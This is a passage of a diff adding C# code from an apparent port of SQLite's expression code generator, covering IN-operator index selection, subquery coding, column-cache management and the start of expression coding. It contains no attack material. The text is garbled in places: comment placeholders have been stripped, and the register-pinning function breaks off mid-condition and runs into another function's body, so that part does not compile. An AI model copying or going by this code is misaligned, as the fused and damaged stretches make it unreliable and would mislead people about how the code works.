function is used by the implementation of the IN (...) operator. +** It's job is to find or create a b-tree structure that may be used +** either to test for membership of the (...) set or to iterate through +** its members, skipping duplicates. +** +** The index of the cursor opened on the b-tree (database table, database index +** or ephermal table) is stored in pX->iTable before this function returns. +** The returned value of this function indicates the b-tree type, as follows: +** +** IN_INDEX_ROWID - The cursor was opened on a database table. +** IN_INDEX_INDEX - The cursor was opened on a database index. +** IN_INDEX_EPH - The cursor was opened on a specially created and +** populated epheremal table. +** +** An existing b-tree may only be used if the SELECT is of the simple +** form: +** +** SELECT FROM +** +** If the prNotFound parameter is 0, then the b-tree will be used to iterate +** through the set members, skipping any duplicates. In this case an +** epheremal table must be used unless the selected is guaranteed +** to be unique - either because it is an INTEGER PRIMARY KEY or it +** has a UNIQUE constraint or UNIQUE index. +** +** If the prNotFound parameter is not 0, then the b-tree will be used +** for fast set membership tests. In this case an epheremal table must +** be used unless is an INTEGER PRIMARY KEY or an index can +** be found with as its left-most column. +** +** When the b-tree is being used for membership tests, the calling function +** needs to know whether or not the structure contains an SQL NULL +** value in order to correctly evaluate expressions like "X IN (Y, Z)". +** If there is a chance that the b-tree might contain a NULL value at +** runtime, then a register is allocated and the register number written +** to *prNotFound. If there is no chance that the b-tree contains a +** NULL value, then *prNotFound is left unchanged. +** +** If a register is allocated and its location stored in *prNotFound, then +** its initial value is NULL. If the b-tree does not remain constant +** for the duration of the query (i.e. the SELECT that generates the b-tree +** is a correlated subquery) then the value of the allocated register is +** reset to NULL each time the b-tree is repopulated. This allows the +** caller to use vdbe code equivalent to the following: +** +** if( register==NULL ){ +** has_null = +** register = 1 +** } +** +** in order to avoid running the +** test more often than is necessary. +*/ +#if !SQLITE_OMIT_SUBQUERY + static int sqlite3FindInIndex( Parse pParse, Expr pX, ref int prNotFound ) + { + Select p; /* SELECT to the right of IN operator */ + int eType = 0; /* Type of RHS table. IN_INDEX_* */ + int iTab = pParse.nTab++; /* Cursor of the RHS table */ + bool mustBeUnique = ( prNotFound != 0 ); /* True if RHS must be unique */ + + /* Check to see if an existing table or index can be used to + ** satisfy the query. This is preferable to generating a new + ** ephemeral table. + */ + p = ( ExprHasProperty( pX, EP_xIsSelect ) ? pX.x.pSelect : null ); + if ( ALWAYS( pParse.nErr == 0 ) && isCandidateForInOpt( p ) != 0 ) + { + sqlite3 db = pParse.db; /* Database connection */ + Expr pExpr = p.pEList.a[0].pExpr; /* Expression */ + int iCol = pExpr.iColumn; /* Index of column */ + Vdbe v = sqlite3GetVdbe( pParse ); /* Virtual machine being coded */ + Table pTab = p.pSrc.a[0].pTab; /* Table
. */ + int iDb; /* Database idx for pTab */ + + /* Code an OP_VerifyCookie and OP_TableLock for
. */ + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + sqlite3CodeVerifySchema( pParse, iDb ); + sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); + + /* This function is only called from two places. In both cases the vdbe + ** has already been allocated. So assume sqlite3GetVdbe() is always + ** successful here. + */ + Debug.Assert( v != null ); + if ( iCol < 0 ) + { + int iMem = ++pParse.nMem; + int iAddr; + sqlite3VdbeUsesBtree( v, iDb ); + + iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem ); + + sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead ); + eType = IN_INDEX_ROWID; + + sqlite3VdbeJumpHere( v, iAddr ); + } + else + { + Index pIdx; /* Iterator variable */ + /* The collation sequence used by the comparison. If an index is to + ** be used in place of a temp.table, it must be ordered according + ** to this collation sequence. */ + CollSeq pReq = sqlite3BinaryCompareCollSeq( pParse, pX.pLeft, pExpr ); + + /* Check that the affinity that will be used to perform the + ** comparison is the same as the affinity of the column. If + ** it is not, it is not possible to use any index. + */ + char aff = comparisonAffinity( pX ); + bool affinity_ok = ( pTab.aCol[iCol].affinity == aff || aff == SQLITE_AFF_NONE ); + + for ( pIdx = pTab.pIndex ; pIdx != null && eType == 0 && affinity_ok ; pIdx = pIdx.pNext ) + { + if ( ( pIdx.aiColumn[0] == iCol ) + && ( sqlite3FindCollSeq( db, ENC( db ), pIdx.azColl[0], 0 ) == pReq ) + && ( mustBeUnique == false || ( pIdx.nColumn == 1 && pIdx.onError != OE_None ) ) + ) + { + int iMem = ++pParse.nMem; + int iAddr; + KeyInfo pKey; + + pKey = sqlite3IndexKeyinfo( pParse, pIdx ); + iDb = sqlite3SchemaToIndex( db, pIdx.pSchema ); + sqlite3VdbeUsesBtree( v, iDb ); + + iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem ); + + sqlite3VdbeAddOp4( v, OP_OpenRead, iTab, pIdx.tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pIdx.zName ); +#endif + eType = IN_INDEX_INDEX; + + sqlite3VdbeJumpHere( v, iAddr ); + if ( //prNotFound != null && -- always exists under C# + pTab.aCol[iCol].notNull == 0 ) + { + prNotFound = ++pParse.nMem; + } + } + } + } + } + + if ( eType == 0 ) + { + /* Could not found an existing able or index to use as the RHS b-tree. + ** We will have to generate an ephemeral table to do the job. + */ + int rMayHaveNull = 0; + eType = IN_INDEX_EPH; + if ( prNotFound != -1 ) // Klude to show prNotFound not available + { + prNotFound = rMayHaveNull = ++pParse.nMem; + } + else + if ( pX.pLeft.iColumn < 0 && !ExprHasAnyProperty( pX, EP_xIsSelect ) ) + { + eType = IN_INDEX_ROWID; + } + sqlite3CodeSubselect( pParse, pX, rMayHaveNull, eType == IN_INDEX_ROWID ); + } + else + { + pX.iTable = iTab; + } + return eType; + } +#endif + + /* +** Generate code for scalar subqueries used as an expression +** and IN operators. Examples: +** +** (SELECT a FROM b) -- subquery +** EXISTS (SELECT a FROM b) -- EXISTS subquery +** x IN (4,5,11) -- IN operator with list on right-hand side +** x IN (SELECT a FROM b) -- IN operator with subquery on the right +** +** The pExpr parameter describes the expression that contains the IN +** operator or subquery. +** +** If parameter isRowid is non-zero, then expression pExpr is guaranteed +** to be of the form " IN (?, ?, ?)", where is a reference +** to some integer key column of a table B-Tree. In this case, use an +** intkey B-Tree to store the set of IN(...) values instead of the usual +** (slower) variable length keys B-Tree. +** +** If rMayHaveNull is non-zero, that means that the operation is an IN +** (not a SELECT or EXISTS) and that the RHS might contains NULLs. +** Furthermore, the IN is in a WHERE clause and that we really want +** to iterate over the RHS of the IN operator in order to quickly locate +** all corresponding LHS elements. All this routine does is initialize +** the register given by rMayHaveNull to NULL. Calling routines will take +** care of changing this register value to non-NULL if the RHS is NULL-free. +** +** If rMayHaveNull is zero, that means that the subquery is being used +** for membership testing only. There is no need to initialize any +** registers to indicate the presense or absence of NULLs on the RHS. +*/ +#if !SQLITE_OMIT_SUBQUERY + static void sqlite3CodeSubselect( + Parse pParse, /* Parsing context */ + Expr pExpr, /* The IN, SELECT, or EXISTS operator */ + int rMayHaveNull, /* Register that records whether NULLs exist in RHS */ + bool isRowid /* If true, LHS of IN operator is a rowid */ + ) + { + int testAddr = 0; /* One-time test address */ + Vdbe v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) return; + sqlite3ExprCachePush( pParse ); + + /* This code must be run in its entirety every time it is encountered + ** if any of the following is true: + ** + ** * The right-hand side is a correlated subquery + ** * The right-hand side is an expression list containing variables + ** * We are inside a trigger + ** + ** If all of the above are false, then we can run this code just once + ** save the results, and reuse the same result on subsequent invocations. + */ + if ( !ExprHasAnyProperty( pExpr, EP_VarSelect ) && null == pParse.trigStack ) + { + int mem = ++pParse.nMem; + sqlite3VdbeAddOp1( v, OP_If, mem ); + testAddr = sqlite3VdbeAddOp2( v, OP_Integer, 1, mem ); + Debug.Assert( testAddr > 0 /* || pParse.db.mallocFailed != 0 */ ); + } + + switch ( pExpr.op ) + { + case TK_IN: + { + char affinity; + KeyInfo keyInfo; + int addr; /* Address of OP_OpenEphemeral instruction */ + Expr pLeft = pExpr.pLeft; + + if ( rMayHaveNull != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, rMayHaveNull ); + } + + affinity = sqlite3ExprAffinity( pLeft ); + + /* Whether this is an 'x IN(SELECT...)' or an 'x IN()' + ** expression it is handled the same way. A virtual table is + ** filled with single-field index keys representing the results + ** from the SELECT or the . + ** + ** If the 'x' expression is a column value, or the SELECT... + ** statement returns a column value, then the affinity of that + ** column is used to build the index keys. If both 'x' and the + ** SELECT... statement are columns, then numeric affinity is used + ** if either column has NUMERIC or INTEGER affinity. If neither + ** 'x' nor the SELECT... statement are columns, then numeric affinity + ** is used. + */ + pExpr.iTable = pParse.nTab++; + addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, (int)pExpr.iTable, !isRowid ); + keyInfo = new KeyInfo();// memset( &keyInfo, 0, sizeof(keyInfo )); + keyInfo.nField = 1; + + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + /* Case 1: expr IN (SELECT ...) + ** + ** Generate code to write the results of the select into the temporary + ** table allocated and opened above. + */ + SelectDest dest = new SelectDest(); + ExprList pEList; + + Debug.Assert( !isRowid ); + sqlite3SelectDestInit( dest, SRT_Set, pExpr.iTable ); + dest.affinity = (char)affinity; + Debug.Assert( ( pExpr.iTable & 0x0000FFFF ) == pExpr.iTable ); + if ( sqlite3Select( pParse, pExpr.x.pSelect, ref dest ) != 0 ) + { + return; + } + pEList = pExpr.x.pSelect.pEList; + if ( ALWAYS( pEList != null ) && pEList.nExpr > 0 ) + { + keyInfo.aColl[0] = sqlite3BinaryCompareCollSeq( pParse, pExpr.pLeft, + pEList.a[0].pExpr ); + } + } + else if ( pExpr.x.pList != null ) + { + /* Case 2: expr IN (exprlist) + ** + ** For each expression, build an index key from the evaluation and + ** store it in the temporary table. If is a column, then use + ** that columns affinity when building index keys. If is not + ** a column, use numeric affinity. + */ + int i; + ExprList pList = pExpr.x.pList; + ExprList_item pItem; + int r1, r2, r3; + + if ( affinity == '\0' ) + { + affinity = SQLITE_AFF_NONE; + } + keyInfo.aColl[0] = sqlite3ExprCollSeq( pParse, pExpr.pLeft ); + + /* Loop through each expression in . */ + r1 = sqlite3GetTempReg( pParse ); + r2 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_Null, 0, r2 ); + for ( i = 0 ; i < pList.nExpr ; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + Expr pE2 = pItem.pExpr; + + /* If the expression is not constant then we will need to + ** disable the test that was generated above that makes sure + ** this code only executes once. Because for a non-constant + ** expression we need to rerun this code each time. + */ + if ( testAddr != 0 && sqlite3ExprIsConstant( pE2 ) == 0 ) + { + sqlite3VdbeChangeToNoop( v, testAddr - 1, 2 ); + testAddr = 0; + } + + /* Evaluate the expression and insert it into the temp table */ + r3 = sqlite3ExprCodeTarget( pParse, pE2, r1 ); + if ( isRowid ) + { + sqlite3VdbeAddOp2( v, OP_MustBeInt, r3, sqlite3VdbeCurrentAddr( v ) + 2 ); + sqlite3VdbeAddOp3( v, OP_Insert, pExpr.iTable, r2, r3 ); + } + else + { + sqlite3VdbeAddOp4( v, OP_MakeRecord, r3, 1, r2, affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, r3, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, pExpr.iTable, r2 ); + } + } + sqlite3ReleaseTempReg( pParse, r1 ); + sqlite3ReleaseTempReg( pParse, r2 ); + } + if ( !isRowid ) + { + sqlite3VdbeChangeP4( v, addr, keyInfo, P4_KEYINFO ); + } + break; + } + + case TK_EXISTS: + case TK_SELECT: + default: + { + /* If this has to be a scalar SELECT. Generate code to put the + ** value of this select in a memory cell and record the number + ** of the memory cell in iColumn. If this is an EXISTS, write + ** an integer 0 (not exists) or 1 (exists) into a memory cell + ** and record that memory cell in iColumn. + */ + Token one = new Token( "1", 1 ); /* Token for literal value 1 */ + Select pSel; /* SELECT statement to encode */ + SelectDest dest = new SelectDest(); /* How to deal with SELECt result */ + + testcase( pExpr.op == TK_EXISTS ); + testcase( pExpr.op == TK_SELECT ); + Debug.Assert( pExpr.op == TK_EXISTS || pExpr.op == TK_SELECT ); + + Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) ); + pSel = pExpr.x.pSelect; + sqlite3SelectDestInit( dest, 0, ++pParse.nMem ); + if ( pExpr.op == TK_SELECT ) + { + dest.eDest = SRT_Mem; + sqlite3VdbeAddOp2( v, OP_Null, 0, dest.iParm ); +#if SQLITE_DEBUG + VdbeComment( v, "Init subquery result" ); +#endif + } + else + { + dest.eDest = SRT_Exists; + sqlite3VdbeAddOp2( v, OP_Integer, 0, dest.iParm ); +#if SQLITE_DEBUG + VdbeComment( v, "Init EXISTS result" ); +#endif + } + sqlite3ExprDelete( pParse.db, ref pSel.pLimit ); + pSel.pLimit = sqlite3PExpr( pParse, TK_INTEGER, null, null, one ); + if ( sqlite3Select( pParse, pSel, ref dest ) != 0 ) + { + return; + } + pExpr.iColumn = (short)dest.iParm; + ExprSetIrreducible( pExpr ); + break; + } + } + + if ( testAddr != 0 ) + { + sqlite3VdbeJumpHere( v, testAddr - 1 ); + } + sqlite3ExprCachePop( pParse, 1 ); + + return; + } +#endif // * SQLITE_OMIT_SUBQUERY */ + + /* +** Duplicate an 8-byte value +*/ + //static char *dup8bytes(Vdbe v, const char *in){ + // char *out = sqlite3DbMallocRaw(sqlite3VdbeDb(v), 8); + // if( out ){ + // memcpy(out, in, 8); + // } + // return out; + //} + + /* + ** Generate an instruction that will put the floating point + ** value described by z[0..n-1] into register iMem. + ** + ** The z[] string will probably not be zero-terminated. But the + ** z[n] character is guaranteed to be something that does not look + ** like the continuation of the number. + */ + static void codeReal( Vdbe v, string z, bool negateFlag, int iMem ) + { + if ( ALWAYS( !String.IsNullOrEmpty( z ) ) ) + { + double value = 0; + //char *zV; + sqlite3AtoF( z, ref value ); + if ( sqlite3IsNaN( value ) ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, iMem ); + } + else + { + if ( negateFlag ) value = -value; + //zV = dup8bytes(v, value); + sqlite3VdbeAddOp4( v, OP_Real, 0, iMem, 0, value, P4_REAL ); + } + } + } + + /* + ** Generate an instruction that will put the integer describe by + ** text z[0..n-1] into register iMem. + ** + ** The z[] string will probably not be zero-terminated. But the + ** z[n] character is guaranteed to be something that does not look + ** like the continuation of the number. + */ + static void codeInteger( Vdbe v, Expr pExpr, bool negFlag, int iMem ) + { + if ( ( pExpr.flags & EP_IntValue ) != 0 ) + { + int i = pExpr.u.iValue; + if ( negFlag ) i = -i; + sqlite3VdbeAddOp2( v, OP_Integer, i, iMem ); + } + else + { + string z = pExpr.u.zToken; + Debug.Assert( !String.IsNullOrEmpty( z ) ); + if ( sqlite3FitsIn64Bits( z, negFlag ) ) + { + i64 value = 0; + //string zV; + sqlite3Atoi64( negFlag ? "-" + z : z, ref value ); + //if ( negFlag ) value = -value; + //zV = dup8bytes( v, (char*)&value ); + //sqlite3VdbeAddOp4( v, OP_Int64, 0, iMem, 0, zV, P4_INT64 ); + sqlite3VdbeAddOp4( v, OP_Int64, 0, iMem, 0, value, P4_INT64 ); + } + else + { + codeReal( v, z, negFlag, iMem ); + } + } + } + + /* + ** Clear a cache entry. + */ + static void cacheEntryClear( Parse pParse, yColCache p ) + { + if ( p.tempReg != 0 ) + { + if ( pParse.nTempReg < ArraySize( pParse.aTempReg ) ) + { + pParse.aTempReg[pParse.nTempReg++] = p.iReg; + } + p.tempReg = 0; + } + } + + + /* + ** Record in the column cache that a particular column from a + ** particular table is stored in a particular register. + */ + static void sqlite3ExprCacheStore( Parse pParse, int iTab, int iCol, int iReg ) + { + int i; + int minLru; + int idxLru; + yColCache p; + + Debug.Assert( iReg > 0 ); /* Register numbers are always positive */ + Debug.Assert( iCol >= -1 && iCol < 32768 ); /* Finite column numbers */ + + /* First replace any existing entry */ + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg != 0 && p.iTable == iTab && p.iColumn == iCol ) + { + cacheEntryClear( pParse, p ); + p.iLevel = pParse.iCacheLevel; + p.iReg = iReg; + p.affChange = false; + p.lru = pParse.iCacheCnt++; + return; + } + } + + /* Find an empty slot and replace it */ + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg == 0 ) + { + p.iLevel = pParse.iCacheLevel; + p.iTable = iTab; + p.iColumn = iCol; + p.iReg = iReg; + p.affChange = false; + p.tempReg = 0; + p.lru = pParse.iCacheCnt++; + return; + } + } + + /* Replace the last recently used */ + minLru = 0x7fffffff; + idxLru = -1; + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache..., p++) + { + p = pParse.aColCache[i]; + if ( p.lru < minLru ) + { + idxLru = i; + minLru = p.lru; + } + } + if ( ALWAYS( idxLru >= 0 ) ) + { + p = pParse.aColCache[idxLru]; + p.iLevel = pParse.iCacheLevel; + p.iTable = iTab; + p.iColumn = iCol; + p.iReg = iReg; + p.affChange = false; + p.tempReg = 0; + p.lru = pParse.iCacheCnt++; + return; + } + } + + /* + ** Indicate that a register is being overwritten. Purge the register + ** from the column cache. + */ + static void sqlite3ExprCacheRemove( Parse pParse, int iReg ) + { + int i; + yColCache p; + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg == iReg ) + { + cacheEntryClear( pParse, p ); + p.iReg = 0; + } + } + } + + /* + ** Remember the current column cache context. Any new entries added + ** added to the column cache after this call are removed when the + ** corresponding pop occurs. + */ + static void sqlite3ExprCachePush( Parse pParse ) + { + pParse.iCacheLevel++; + } + + /* + ** Remove from the column cache any entries that were added since the + ** the previous N Push operations. In other words, restore the cache + ** to the state it was in N Pushes ago. + */ + static void sqlite3ExprCachePop( Parse pParse, int N ) + { + int i; + yColCache p; + Debug.Assert( N > 0 ); + Debug.Assert( pParse.iCacheLevel >= N ); + pParse.iCacheLevel -= N; + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p++) + { + p = pParse.aColCache[i]; + if ( p.iReg != 0 && p.iLevel > pParse.iCacheLevel ) + { + cacheEntryClear( pParse, p ); + p.iReg = 0; + } + } + } + + /* + ** When a cached column is reused, make sure that its register is + ** no longer available as a temp register. ticket #3879: that same + ** register might be in the cache in multiple places, so be sure to + ** get them all. + */ + static void sqlite3ExprCachePinRegister( Parse pParse, int iReg ) + { + int i; + yColCache p; + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse->aColCache; i 0 && p.iTable == iTable && p.iColumn == iColumn + && ( !p.affChange || allowAffChng ) ) + { + p.lru = pParse.iCacheCnt++; + sqlite3ExprCachePinRegister( pParse, p.iReg ); + return p.iReg; + } + } + Debug.Assert( v != null ); + if ( iColumn < 0 ) + { + sqlite3VdbeAddOp2( v, OP_Rowid, iTable, iReg ); + } + else if ( ALWAYS( pTab != null ) ) + { + int op = IsVirtual( pTab ) ? OP_VColumn : OP_Column; + sqlite3VdbeAddOp3( v, op, iTable, iColumn, iReg ); + sqlite3ColumnDefault( v, pTab, iColumn, iReg ); + } + sqlite3ExprCacheStore( pParse, iTable, iColumn, iReg ); + return iReg; + } + + /* + ** Clear all column cache entries. + */ + static void sqlite3ExprCacheClear( Parse pParse ) + { + int i; + yColCache p; + + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg != 0 ) + { + cacheEntryClear( pParse, p ); + p.iReg = 0; + } + } + } + + /* + ** Record the fact that an affinity change has occurred on iCount + ** registers starting with iStart. + */ + static void sqlite3ExprCacheAffinityChange( Parse pParse, int iStart, int iCount ) + { + int iEnd = iStart + iCount - 1; + int i; + yColCache p; + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + int r = p.iReg; + if ( r >= iStart && r <= iEnd ) + { + p.affChange = true; + } + } + } + + /* + ** Generate code to move content from registers iFrom...iFrom+nReg-1 + ** over to iTo..iTo+nReg-1. Keep the column cache up-to-date. + */ + static void sqlite3ExprCodeMove( Parse pParse, int iFrom, int iTo, int nReg ) + { + int i; + yColCache p; + if ( NEVER( iFrom == iTo ) ) return; + sqlite3VdbeAddOp3( pParse.pVdbe, OP_Move, iFrom, iTo, nReg ); + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + int x = p.iReg; + if ( x >= iFrom && x < iFrom + nReg ) + { + p.iReg += iTo - iFrom; + } + } + } + + /* + ** Generate code to copy content from registers iFrom...iFrom+nReg-1 + ** over to iTo..iTo+nReg-1. + */ + static void sqlite3ExprCodeCopy( Parse pParse, int iFrom, int iTo, int nReg ) + { + int i; + if ( NEVER( iFrom == iTo ) ) return; + for ( i = 0 ; i < nReg ; i++ ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, OP_Copy, iFrom + i, iTo + i ); + } + } + + /* + ** Return true if any register in the range iFrom..iTo (inclusive) + ** is used as part of the column cache. + */ + static int usedAsColumnCache( Parse pParse, int iFrom, int iTo ) + { + int i; + yColCache p; + for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + int r = p.iReg; + if ( r >= iFrom && r <= iTo ) return 1; + } + return 0; + } + + + /* + ** If the last instruction coded is an ephemeral copy of any of + ** the registers in the nReg registers beginning with iReg, then + ** convert the last instruction from OP_SCopy to OP_Copy. + */ + static void sqlite3ExprHardCopy( Parse pParse, int iReg, int nReg ) + { + VdbeOp pOp; + Vdbe v; + + //Debug.Assert( pParse.db.mallocFailed == 0 ); + v = pParse.pVdbe; + Debug.Assert( v != null ); + pOp = sqlite3VdbeGetOp( v, -1 ); + Debug.Assert( pOp != null ); + if ( pOp.opcode == OP_SCopy && pOp.p1 >= iReg && pOp.p1 < iReg + nReg ) + { + pOp.opcode = OP_Copy; + } + } + + /* + ** Generate code to store the value of the iAlias-th alias in register + ** target. The first time this is called, pExpr is evaluated to compute + ** the value of the alias. The value is stored in an auxiliary register + ** and the number of that register is returned. On subsequent calls, + ** the register number is returned without generating any code. + ** + ** Note that in order for this to work, code must be generated in the + ** same order that it is executed. + ** + ** Aliases are numbered starting with 1. So iAlias is in the range + ** of 1 to pParse.nAlias inclusive. + ** + ** pParse.aAlias[iAlias-1] records the register number where the value + ** of the iAlias-th alias is stored. If zero, that means that the + ** alias has not yet been computed. + */ + static int codeAlias( Parse pParse, int iAlias, Expr pExpr, int target ) + { +#if FALSE +sqlite3 db = pParse.db; +int iReg; +if ( pParse.nAliasAlloc < pParse.nAlias ) +{ +pParse.aAlias = new int[pParse.nAlias]; //sqlite3DbReallocOrFree(db, pParse.aAlias, +//sizeof(pParse.aAlias[0])*pParse.nAlias ); +testcase( db.mallocFailed != 0 && pParse.nAliasAlloc > 0 ); +if ( db.mallocFailed != 0 ) return 0; +//memset(&pParse.aAlias[pParse.nAliasAlloc], 0, +// (pParse.nAlias-pParse.nAliasAlloc)*sizeof(pParse.aAlias[0])); +pParse.nAliasAlloc = pParse.nAlias; +} +Debug.Assert( iAlias > 0 && iAlias <= pParse.nAlias ); +iReg = pParse.aAlias[iAlias - 1]; +if ( iReg == 0 ) +{ +if ( pParse.iCacheLevel != 0 ) +{ +iReg = sqlite3ExprCodeTarget( pParse, pExpr, target ); +} +else +{ +iReg = ++pParse.nMem; +sqlite3ExprCode( pParse, pExpr, iReg ); +pParse.aAlias[iAlias - 1] = iReg; +} +} +return iReg; +#else + UNUSED_PARAMETER( iAlias ); + return sqlite3ExprCodeTarget( pParse, pExpr, target ); +#endif + } + + /* + ** Generate code into the current Vdbe to evaluate the given + ** expression. Attempt to store the results in register "target". + ** Return the register where results are stored. + ** + ** With this routine, there is no guarantee that results will + ** be stored in target. The result might be stored in some other + ** register if it is convenient to do so. The calling function + ** must check the return code and move the results to the desired + ** register. + */ + static int sqlite3ExprCodeTarget( Parse pParse, Expr pExpr, int target ) + { + Vdbe v = pParse.pVdbe; /* The VM under construction */ + int op; /* The opcode being coded */ + int inReg = target; /* Results stored in register inReg */ + int regFree1 = 0; /* If non-zero free this temporary register */ + int regFree2 = 0; /* If non-zero free this temporary register */ + int r1 = 0, r2 = 0, r3 = 0, r4 = 0; /* Various register numbers */ + sqlite3 db = pParse.db; /* The database connection */ + + Debug.Assert( target > 0 && target <= pParse.nMem ); + if ( v == null ) + { + //Debug.Assert( pParse.db.mallocFailed != 0 ); + return 0; + } + + if ( pExpr == null ) + { + op = TK_NULL; + } + else + { + op = pExpr.op; + } + switch ( op ) + { + case TK_AGG_COLUMN: + { + AggInfo pAggInfo = pExpr.pAggInfo; + AggInfo_col pCol = pAggInfo.aCol[pExpr.iAgg]; + if ( pAggInfo.directMode == 0 ) + { + Debug.Assert( pCol.iMem > 0 ); + inReg = pCol.iMem; + break; + } + else if ( pAggInfo.useSortingIdx != 0 ) + { + sqlite3VdbeAddOp3( v, OP_Column, pAggInfo.sortingIdx, + pCol.iSorterColumn, target ); + break; + } + /* Otherwise, fall thru into the TK_COLUMN case */ + } + goto case TK_COLUMN; + case TK_COLUMN: + { + if ( pExpr.iTable < 0 ) + { + /* This only happens when coding check constraints */ + Debug.Assert( pParse.ckBase > 0 ); + inReg = pExpr.iColumn + pParse.ckBase; + } + else + { + testcase( ( pExpr.flags & EP_AnyAff ) != 0 ); + inReg = sqlite3ExprCodeGetColumn( pParse, pExpr.pTab, + pExpr.iColumn, pExpr.iTable, target, + ( pExpr.flags & EP_AnyAff ) != 0 ); + } + break; + } + case TK_INTEGER: + { + codeInteger( v, pExpr, false, target ); + break; + } + case TK_FLOAT: + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + codeReal( v, pExpr.u.zToken, false, target ); + break; + } + case TK_STRING: + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + sqlite3VdbeAddOp4( v, OP_String8, 0, target, 0, pExpr.u.zToken, 0 ); + break; + } + case TK_NULL: + { + sqlite3VdbeAddOp2( v, OP_Null, 0, target ); + break; + } +#if !SQLITE_OMIT_BLOB_LITERAL + case TK_BLOB: + { + int n; + string z; + byte[] zBlob; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + Debug.Assert( pExpr.u.zToken[0] == 'x' || pExpr.u.zToken[0] == 'X' ); + Debug.Assert( pExpr.u.zToken[1] == '\'' ); + z = pExpr.u.zToken.Substring( 2 ); + n = sqlite3Strlen30( z ) - 1; + Debug.Assert( z[n] == '\'' ); + zBlob = sqlite3HexToBlob( sqlite3VdbeDb( v ), z, n ); + sqlite3VdbeAddOp4( v, OP_Blob, n / 2, target, 0, zBlob, P4_DYNAMIC ); + break; + } +#endif + case TK_VARIABLE: + { + VdbeOp pOp; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + Debug.Assert( pExpr.u.zToken != null ); + Debug.Assert( pExpr.u.zToken.Length != 0 ); + if ( pExpr.u.zToken.Length == 1 + && ( pOp = sqlite3VdbeGetOp( v, -1 ) ).opcode == OP_Variable + && pOp.p1 + pOp.p3 == pExpr.iTable + && pOp.p2 + pOp.p3 == target + && pOp.p4.z == null + ) + { + /* If the previous instruction was a copy of the previous unnamed + ** parameter into the previous register, then simply increment the + ** repeat count on the prior instruction rather than making a new + ** instruction. + */ + pOp.p3++; + } + else + { + sqlite3VdbeAddOp3( v, OP_Variable, pExpr.iTable, target, 1 ); + if ( pExpr.u.zToken.Length > 1 ) + { + sqlite3VdbeChangeP4( v, -1, pExpr.u.zToken, 0 ); + } + } + break; + } + case TK_REGISTER: + { + inReg = pExpr.iTable; + break; + } + case TK_AS: + { + inReg = codeAlias( pParse, pExpr.iTable, pExpr.pLeft, target ); + break; + } +#if !SQLITE_OMIT_CAST + case TK_CAST: + { + /* Expressions of the form: CAST(pLeft AS token) */ + int aff, to_op; + inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target ); + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + aff = sqlite3AffinityType( pExpr.u.zToken ); + to_op = aff - SQLITE_AFF_TEXT + OP_ToText; + Debug.Assert( to_op == OP_ToText || aff != SQLITE_AFF_TEXT ); + Debug.Assert( to_op == OP_ToBlob || aff != SQLITE_AFF_NONE ); + Debug.Assert( to_op == OP_ToNumeric || aff != SQLITE_AFF_NUMERIC ); + Debug.Assert( to_op == OP_ToInt || aff != SQLITE_AFF_INTEGER ); + Debug.Assert( to_op == OP_ToReal || aff != SQLITE_AFF_REAL ); + testcase( to_op == OP_ToText ); + testcase( to_op == OP_ToBlob ); + testcase( to_op == OP_ToNumeric ); + testcase( to_op == OP_ToInt ); + testcase( to_op == OP_ToReal ); + if ( inReg != target ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, inReg, target ); + inReg = target; + } + sqlite3VdbeAddOp1( v, to_op, inReg ); + testcase( usedAsColumnCache( pParse, inReg, inReg ) != 0 ); + sqlite3ExprCacheAffinityChange( pParse, inReg, 1 ); + break; + } +#endif // * SQLITE_OMIT_CAST */ + case TK_LT: + case TK_LE: + case TK_GT: + case TK_GE: + case TK_NE: + case TK_EQ: + { + Debug.Assert( TK_LT == OP_Lt ); + Debug.Assert( TK_LE == OP_Le ); + Debug.Assert( TK_GT == OP_Gt ); + Debug.Assert( TK_GE == OP_Ge ); + Debug.Assert( TK_EQ == OP_Eq ); + Debug.Assert( TK_NE == OP_Ne ); + testcase( op == 